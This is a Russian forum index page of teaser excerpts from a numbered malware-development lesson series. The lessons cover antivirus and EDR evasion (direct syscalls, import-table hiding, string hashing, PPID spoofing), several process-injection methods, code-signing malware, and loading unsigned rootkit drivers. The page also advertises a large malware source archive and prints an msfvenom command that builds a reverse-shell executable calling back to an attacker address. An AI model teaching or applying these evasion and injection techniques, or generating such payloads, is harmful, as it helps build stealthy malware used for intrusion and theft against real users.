• Обратная связь: [email protected]

    Наш канал в telegram: https://t.me/ru_sfera

    Группа VK: https://vk.com/rusfera

    Пользователи могут писать на форуме ТОЛЬКО ЧЕРЕЗ 7 ДНЕЙ после регистрации

Ру-Сфера: Исследование защиты и обсуждение IT-безопасности

Уроки Разработка вирусов-28. Предельная техника. Разборка с сисколами

  • 2 007
  • 0
1696154850638.png


Что такое системные вызовы (Syscalls)

Системные вызовы Windows или syscalls служат интерфейсом для взаимодействия программ с системой, позволяя им запрашивать определенные услуги, такие как чтение или запись в файл, создание нового процесса или выделение памяти.

Помните из вводных модулей, что syscalls - это API, которые выполняют действия, когда вызывается функция WinAPI. Например, системный вызов NtAllocateVirtualMemory активируется при вызове функций WinAPI VirtualAlloc или VirtualAllocEx. Затем этот системный вызов перемещает параметры, предоставленные пользователем в предыдущем вызове функции, в ядро Windows, выполняет запрошенное действие и возвращает результат программе.

Все системные вызовы возвращают значение NTSTATUS, которое указывает код ошибки. STATUS_SUCCESS (ноль) возвращается, если системный вызов успешно выполняет операцию.

Большинство системных вызовов не документированы Microsoft, поэтому...

Уроки Разработка вирусов-27.Кунгфу-2.Изучаем API Hooking

  • 1 309
  • 0
1696085295787.png


Введение

API Hooking — это техника, используемая для перехвата и изменения поведения функции API. Она часто используется для отладки, обратного проектирования и взлома игр.
API Hooking позволяет заменять оригинальную реализацию функции API собственной версией, которая выполняет некоторые дополнительные действия до или после вызова оригинальной функции. Это позволяет изменять поведение программы без изменения её исходного кода.

Трамплины

Классический способ реализации API-хуков осуществляется с помощью трамплинов.
Трамплин — это шеллкод, который используется для изменения пути выполнения кода путем перехода на другой конкретный адрес в адресном пространстве процесса. Шеллкод трамплина вставляется в начало функции, в результате чего функция становится "подцепленной". Когда вызывается подцепленная функция, вместо нее активируется шеллкод трамплина, и поток выполнения передается и изменяется на другой адрес, что приводит к...

Уроки Разработка вирусов-26. Изучаем кунгфу-1. Скрытие таблицы импорта

  • 2 062
  • 5
1696070496950.png


Таблица импортных адресов (IAT) содержит информацию о файле PE, такую как используемые функции и DLL, экспортирующие их. Этот тип информации может быть использован для создания сигнатуры и обнаружения двоичного кода.

Например, изображение ниже показывает таблицу импортных адресов примера инъекции шелл-кода.
Файл PE импортирует функции, которые считаются высоко подозрительными. Решения безопасности могут затем использовать эту информацию для детекта.

1696070440518.png


Сокрытие и обфускация IAT - Метод 1

Чтобы скрыть функции от IAT, можно использовать GetProcAddress, GetModuleHandle или LoadLibrary для динамической загрузки этих функций во время выполнения. Приведенный ниже фрагмент загрузит VirtualAllocEx динамически, и поэтому он не появится в IAT при проверке.

C:
typedef LPVOID (WINAPI* fnVirtualAllocEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD...

Уроки Разработка вирусов-25. Скрытие строк

  • 731
  • 1
Хеширование - это техника, используемая для создания фиксированного представления куска данных, называемого хеш-значением или хеш-кодом. Хеш-алгоритмы разработаны как односторонние функции, что означает, что вычислительно невозможно определить исходные входные данные, используя хеш-значение. Хеш-код обычно имеет более короткий размер и быстрее обрабатывается. При сравнении строк хеширование может использоваться для быстрого определения равенства двух строк, в сравнении с сравнением самих строк, особенно если строки длинные.

В контексте разработки вредоносных программ хеширование строк полезно для скрытия строк, используемых в реализации, так как строки могут использоваться как сигнатуры для обнаружения вредоносных бинарных файлов.

Хеширование строк

Давайте рассмотрим некоторые алгоритмы хеширования строк. Важно понимать, что результатом этих алгоритмов является число, выраженное в шестнадцатеричном формате, так как это более аккуратно и компактно.

В этой статье...

ВАЖНО Огромная база исходников современных вирусов для разных платформ

  • 1 952
  • 0
1696061011808.png


Весь исходный код, который упакован, может быть или не быть установлен с паролем 'infected' (без кавычек). Отдельные файлы, вероятно, не упакованы.

Структура каталогов:

  • Android
    • Generic Android OS malware, some leaks and proof-of-concepts
  • Engines
    • BAT
    • Linux
    • VBS
    • Win32
  • Java
    • Some java infectors, proof-of-concept ransomware
  • Javascript
    • In-browser malware
  • Legacy Windows
    • Win2k
    • Win32
    • Win95
    • Win98
    • Win9x
    • WinCE
  • Libs (libraries)
    • Bootkits
    • DDoS proof-of-concepts
    • Win32 libraries (disassemblers, etc).
  • Linux
    • Backdoors
    • Botnets
    • Infectors
    • Mirai-Family (related and/or spin-offs)
    • Rootkits
    • Tools
    • Trojans
  • MSDOS
  • MSIL
  • MacOS
  • Other
    • Acad malware
    • FreeBSD malware
    • SunOS malware
    • Symbian OS malware
    • Discord-specific malware
  • PHP
    • ...

Уроки Разработка вирусов-24. Изучаем технику Spoofing

  • 772
  • 0
Spoofing - В переводе подмена.)

Рассмотрим несколько вариантов техники:
Подмена номера родительского процесса (PPID)


Это техника, используемая для изменения PPID процесса, что позволяет эффективно маскировать связь между дочерним процессом и его истинным родительским процессом. Это можно сделать, изменив PPID дочернего процесса на другое значение, заставив его выглядеть так, как будто процесс был запущен другим законным процессом Windows, а не истинным родительским процессом.

Решения безопасности и защитники часто ищут необычные отношения между родителем и ребенком. Например, если Microsoft Word запускает cmd.exe, это обычно указывает на выполнение злонамеренных макросов. Если cmd.exe запускается с другим PPID, он скроет истинный родительский процесс и будет выглядеть так, как будто он был запущен другим процессом.

Вот например в статье про APC, RuntimeBroker.exe...

Уроки Разработка вирусов-23. Контроль выполнения полезной нагрузки

  • 554
  • 0
1695980301266.png


В реальных сценариях важно ограничивать действия, выполняемые вредоносным ПО, и концентрироваться на основных задачах.
Чем больше действий выполняет вредоносное ПО, тем вероятнее, что его обнаружат системы мониторинга.

Вот например такая ситуация, как в этом уроке, правилом хорошего тона перед перезаписью атакуемой функции, необходимо сохранить оригинал, а потом после выполнения полезной нагрузки восстановить функцию.

Но для этого нужно знать, что полезная нагрузка выполнилась.)

Объекты синхронизации Windows могут быть использованы для управления выполнением полезной нагрузки. Эти объекты координируют доступ к общим ресурсам для нескольких потоков или процессов, обеспечивая контролируемый доступ к общим ресурсам и предотвращая конфликты или состояния гонки, когда несколько потоков или процессов пытаются одновременно...

Уроки Разработка вирусов-22.Изучаем технику Stomping Injection

  • 544
  • 0
1695891812102.png


Предыдущая статья показывала как запустить peyload и при этом избежать использования вызовов WinAPI VirtualAlloc/Ex.

Этот-же урок демонстрирует другой метод, который избегает использования этих WinAPI.

Термин "stomping" относится к действию перезаписи или замены памяти функции или другой структуры данных в программе другими данными.

"Function stomping" - это техника, при которой байты исходной функции заменяются новым кодом, в результате чего функция заменяется или больше не работает так, как предполагалось. Вместо этого функция будет выполнять другую логику. Для реализации этого требуется адрес жертвенной функции для "stomping".

Выбор целевой функции

Получение адреса функции, если она локальная, то это не сложно, но основной вопрос при этой технике - какая функция получается.
Перезапись часто используемой функции может...

Уроки Разработка вирусов-21.Инъекция отображаемой памяти

  • 910
  • 0

Локальная инъекция отображаемой памяти​

Введение​

До сих пор во всех предыдущих реализациях использовался тип локальной памяти для хранения полезной нагрузки во время выполнения. Локальная память выделяется с использованием VirtualAlloc или VirtualAllocEx.

На следующем изображении показана выделенная локальная память в реализации "LocalThreadHijacking", содержащей полезную нагрузку.

1695837241550.png


Отображаемая память​

Процесс выделения локальной памяти тщательно отслеживается средствами безопасности из-за его широкого использования вредоносным программам.

Чтобы избежать таких часто контролируемых WinAPI, таких-как VirtualAlloc/Ex и VirtualProtect/Ex, инъекция отображаемой памяти использует тип отображаемой памяти с использованием различных WinAPI, таких как CreateFileMapping и MapViewOfFile.

Также стоит отметить, что WinAPI VirtualProtect/Ex не может использоваться...

Уроки Разработка вирусов-20.Вызов кода через функции обратного вызова

  • 1 036
  • 2
1695805775387.png


Введение

Функции обратного вызова используются для обработки событий или выполнения действия, когда выполняется определенное условие. Они применяются в различных сценариях в операционной системе Windows, включая обработку событий, управление окнами и многопоточность.

Определение функции обратного вызова от Microsoft следующее:

Функция обратного вызова - это код в управляемом приложении, который помогает функции неконтролируемой DLL завершить задачу. Вызовы функции обратного вызова передаются косвенно из управляемого приложения через функцию DLL и обратно к управляемой реализации.

Некоторые обычные API Windows имеют возможность выполнять полезные нагрузки с помощью обратных вызовов. Их использование предоставляет преимущества перед решениями безопасности, так как эти функции могут казаться безвредными и потенциально уклоняться от некоторых решений по безопасности.

Злоупотребление функциями обратного...

Уроки Разработка вирусов-19.Изучаем технику APC Injection

  • 1 332
  • 2
Предлагаю в этой статье рассмотреть один способ выполнения полезной нагрузки без создания нового потока. Этот метод известен как APC-инъекция.

Что такое APC? Асинхронные вызовы процедур (APC)
— это механизм операционной системы Windows, который позволяет программам выполнять задачи асинхронно, продолжая выполнять другие задачи. APC реализованы как процедуры в режиме ядра, выполняемые в контексте определенного потока.
Вредоносное ПО может использовать APC для постановки в очередь полезной нагрузки и последующего ее выполнения по расписанию.

Состояние готовности

Не все потоки могут выполнить поставленную в очередь функцию APC, это могут сделать только потоки в состоянии готовности. Такой поток находится в режиме ожидания. Когда поток переходит в состояние готовности, он помещается в очередь готовых потоков, что позволяет ему выполнять функции APC из очереди.

Что такое APC-инъекция?

Для постановки функции APC в очередь потока адрес этой функции должен...

Уроки Разработка малвари-18.Определение PID нужного процесса, или перечисления процессов

  • 740
  • 0
Тема перечисления процессов затрагивалась здесь:Уроки - Разработка малвари-12. Иньекция в процесс

Также в этой теме для проведения атаки Thread Hijacking в удаленный процесс необходимо получить ID целевого процесса.

Давайте попробуем это сделать, что-бы не привлекать внимание антивирусов.)

Предлагаю использовать функцию NtQuerySystemInformation.
NtQuerySystemInformation экспортируется из модуля ntdll.dll, поэтому для его использования потребуется GetModuleHandle и GetProcAddress.

Документация Microsoft по NtQuerySystemInformation показывает, что он способен возвращать много информации о системе. Основное внимание этой статьи будет уделено его использованию для перечисления процессов.

Получение адреса NtQuerySystemInformation

Как было упомянуто ранее, для получения адреса...

Уроки Разработка вирусов-17.Изучаем технику Thread Hijacking

  • 1 362
  • 3
1695460711350.png


Thread Hijacking (Похищение потока) - это техника, позволяющая выполнять полезную нагрузку без создания нового потока. Этот метод работает путем приостановки потока и обновления регистра адреса команды, указывающего на следующую инструкцию в памяти, чтобы он указывал на начало полезной нагрузки. Когда поток возобновляет выполнение, выполняется полезная нагрузка.

В этой статье будем использовать Msfvenom TCP reverse shell payload, а не полезную нагрузку calc., потому что она сохраняет поток после выполнения, тогда как полезная нагрузка calc завершила бы поток после выполнения.
Тем не менее, обе полезные нагрузки работают, но сохранение потока после выполнения позволяет проводить дальнейший анализ.

Контекст Потока

Прежде чем можно объяснить эту технику, необходимо понять что такое контекст потока. У каждого потока есть приоритет планирования и он содержит ряд структур, которые система сохраняет...

Уроки Разработка вирусов-16.Разборка с цифровой подписью зверька

  • 1 041
  • 2
1694956091166.png


Когда пользователь пытается загрузить исполняемый файл из интернета, он часто подписан компанией как способ доказать пользователю, что это надежный исполняемый файл.
Несмотря на то что системы безопасности все равно будут проверять исполняемый файл, на него была бы направлена дополнительная проверка, если бы бинарный файл не был подписан.

Предлагаю рассмотреть шаги, необходимые для подписания вредоносного бинарного файла, что может повысить его надежность.

В статье демонстрируется подписание бинарного файла на исполняемом файле, созданном через Msfvenom: msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.0.1 LPORT=4444 -f exe -o mybin.exe

Тест, как подпись влияет на детект:


Перед началом бинарный файл был загружен на VirusTotal, чтобы увидеть степень обнаружения до подписания бинарного файла.
Степень обнаружения довольно высока: 52 из 71 антивирусов отметили файл как вредоносный...

Уроки Как я RootKit загружал или же как загрузить драйвер без подписи

  • 3 971
  • 6
Для начала давайте разберемся что такое RootKit?
RootKit - это тип вредоносного программного обеспечения, который предоставляет хакерам доступ к целевым компьютерам. RootKit может скрывать свое присутствие, но оставаться активным. Как только они получают несанкционированный доступ к компьютерам, RootKit позволяют киберпреступникам красть личные данные и финансовую информацию, устанавливать вредоносное программное обеспечение или использовать компьютеры как часть ботнета для распространения спама и участия в DDoS-атаках. Название “RootKit” происходит от операционных систем Unix и Linux, где наиболее привилегированный аккаунт администратора называется “root”. Приложения, которые позволяют несанкционированный доступ root или admin к устройству, известны как "kit".

Для того что бы RootKit смог запуститься на пк жертвы, есть 2 варианта:
  1. Заплатить от 150$ за подпись драйвера
  2. Использовать маппер который с помощью уязвимого драйвера (на...

Уроки Разработка вирусов-15. Прячем Payload в реестре

  • 761
  • 0
В общем из предыдущих уроков мы с вами знаем, что payload не обязательно должен храниться внутри вредоносной программы.
Вместо этого payload может быть получен во время выполнения вредоносной программы. В этой статье будет показана похожая техника, только payload будет записан в качестве значения ключа реестра и извлечен из реестра при необходимости.
Так как payload будет храниться в реестре, при сканировании вредоносной программы системами безопасности они не смогут обнаружить или найти payload внутри.

Код в этой статье разделен на две части. Первая часть записывает зашифрованный payload в ключ реестра. Вторая часть считывает payload из того же ключа реестра, расшифровывает его и выполняет.
В статье не будет объясняться процесс шифрования/расшифрования, так как это было объяснено в предыдущих уроках.

Также мы будем использовать условную компиляцию

Условная Компиляция

Условная компиляция - это способ включать код в проект, который компилятор либо будет компилировать...

Уроки Разработка малвари-14. Размещаем Payload удаленно на сервере

  • 876
  • 2
На протяжении всех статей до сих пор payload был постоянно хранящимся непосредственно внутри бинарного файла.

Это быстрый и часто используемый метод для извлечения payload. К сожалению, в некоторых случаях, когда существуют ограничения по размеру payload, сохранение payload внутри кода не является осуществимым подходом. Альтернативный подход заключается в размещении payload на веб-сервере и его извлечении во время выполнения.

Настройка Веб-сервера

Эта статья требует веб-сервера для размещения файла payload. Самый простой способ - использовать HTTP-сервер Python с помощью следующей команды:

Код:
python -m http.server 8000

1694767714022.png


Обратите внимание, что файл payload должен быть размещен в той же директории, где выполняется эта команда.

Чтобы проверить работу веб-сервера, перейдите по адресу с использованием браузера.

[ATTACH type="full"...

Уроки Разработка малвари-13.Инъекция шелл-кода в процесс

  • 785
  • 1
1694765556892.png


Эта статья похожа на предыдущую DLL Injection с небольшими изменениями.

Инъекция shellcode в процесс будет использовать практически те же самые API Windows.

VirtualAllocEx - выделение памяти.

WriteProcessMemory - запись полезной нагрузки в удаленный процесс.

VirtualProtectEx - изменение защиты памяти.

CreateRemoteThread - выполнение полезной нагрузки через новый поток.

Перечисление процессов

Как и в предыдущей статье, инъекция процесса начинается с перечисления процессов.

Фрагмент кода для перечисления процессов, показанный ниже, уже был объяснен в предыдущей статье.

C:
BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {
// Согласно документации:
// Перед вызовом функции Process32First установите член dwSize в sizeof(PROCESSENTRY32).
// Если dwSize не инициализирован...

Уроки Разработка малвари-12. Иньекция в процесс

  • 1 099
  • 0
В этой статье предлагаю обсудить метод, аналогичный тому, что был показан ранее при локальной инъекции DLL, за исключением того, что теперь инъекция будет выполняться в удаленный процесс.

Перечисление процессов

Прежде чем можно будет инъецировать DLL в процесс, необходимо выбрать целевой процесс. Поэтому первым шагом в инъекции в удаленный процесс обычно является перечисление запущенных процессов на компьютере для определения потенциальных целевых процессов, в которые можно выполнить инъекцию. Для этого требуется идентификатор процесса (PID), чтобы открыть дескриптор целевого процесса и выполнить необходимую работу в нем.

В статье мы создадим функцию, которая выполняет перечисление процессов для определения всех запущенных процессов.
Функция GetRemoteProcessHandle будет использоваться для перечисления всех запущенных процессов в системе, открытия дескриптора целевого процесса и возврата как PID, так и дескриптора процесса.

CreateToolhelp32Snapshot

Кодовый...

Уроки Разработка малвари-11. Локальный запуск Payload

  • 1 090
  • 1
Предлагаю в этой статье исследовать использование динамических библиотек (DLL) в качестве полезной нагрузки и попробовать загрузить вредоносный файл DLL в текущем процессе.

Создание DLL

Создание DLL просто и может быть выполнено с помощью Visual Studio.
Создайте новый проект, выберите язык программирования C++, а затем выберите Динамически-связанную библиотеку (DLL).
Это создаст код-скелет DLL, который будет изменяться в этой статье.

Если вы хотите освежить свои знания о том, как работают DLL, то можете обратится к этой статье:Уроки - Разработка малвари - 5. Изучаем динамические библиотеки

1694682086231.png


В этой статье будет использовано диалоговое окно, которое появляется, когда DLL успешно загружена.

Создание диалогового окна можно легко сделать с помощью MessageBox из WinAPI.

Приведенный ниже фрагмент кода будет запускать...

Найти пользователя

Поиск по форуму

Последние сообщения

Верх Низ